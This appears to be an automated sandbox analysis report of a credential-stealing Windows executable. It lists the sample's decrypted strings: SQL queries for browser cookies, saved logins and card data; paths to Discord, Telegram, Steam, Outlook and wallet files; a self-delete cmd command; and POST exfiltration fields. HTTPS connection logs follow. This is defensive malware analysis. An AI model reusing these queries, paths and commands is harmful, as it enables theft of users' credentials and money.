Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: history
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: name:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: month:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: year:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: card:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Cookies
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Login Data
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Web Data
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: History
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: logins.json
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: formSubmitURL
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: usernameField
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: encryptedUsername
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: encryptedPassword
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: guid
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: cookies.sqlite
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: formhistory.sqlite
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: places.sqlite
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: plugins
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Local Extension Settings
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Sync Extension Settings
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: IndexedDB
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Opera Stable
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Opera GX Stable
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CURRENT
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: chrome-extension_
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Local State
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: profiles.ini
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: chrome
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: opera
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: firefox
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: wallets
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: ProductName
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: ProcessorNameString
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: DisplayName
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: DisplayVersion
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Network Info:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - IP: IP?
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Country: ISO?
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: System Summary:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - HWID:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - OS:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Architecture:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - UserName:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Computer Name:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Local Time:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - UTC:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Language:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Keyboards:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Laptop:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Running Path:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - CPU:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Threads:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Cores:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - RAM:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - Display Resolution:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: - GPU:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: User Agents:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Installed Apps:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: All Users:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Current User:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Process List:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: system_info.txt
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: freebl3.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: mozglue.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: msvcp140.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: nss3.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: softokn3.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: vcruntime140.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: \Temp\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: .exe
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: runas
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: open
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: /c start
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %DESKTOP%
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %APPDATA%
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %USERPROFILE%
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %DOCUMENTS%
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %RECENT%
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: *.lnk
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: files
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: \discord\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: \Telegram Desktop\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: key_datas
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: map*
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Telegram
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: *.tox
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: *.ini
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Password
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: 00000001
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: 00000002
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: 00000003
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: 00000004
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Pidgin
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: \.purple\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: accounts.xml
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: token:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Software\Valve\Steam
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SteamPath
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: \config\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: ssfn*
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: config.vdf
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: DialogConfig.vdf
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: libraryfolders.vdf
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: loginusers.vdf
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: \Steam\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: sqlite3.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: browsers
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: done
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: soft
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: https
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: POST
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: HTTP/1.1
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: hwid
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: build
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: token
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: file_name
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: file
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: message
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: screenshot.jpg

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Unpacked PE file: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.unpack
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Unpacked PE file: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe	Unpacked PE file: 29.2.zvaervideorecorder.exe.400000.0.unpack

Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe

Directory created: C:\Program Files\Windows Media Player\background.jpg

Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 146.70.56.165:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.221.125.202:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.2:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.0:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.42.29:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.113:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.47.123.174:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49971 version: TLS 1.2
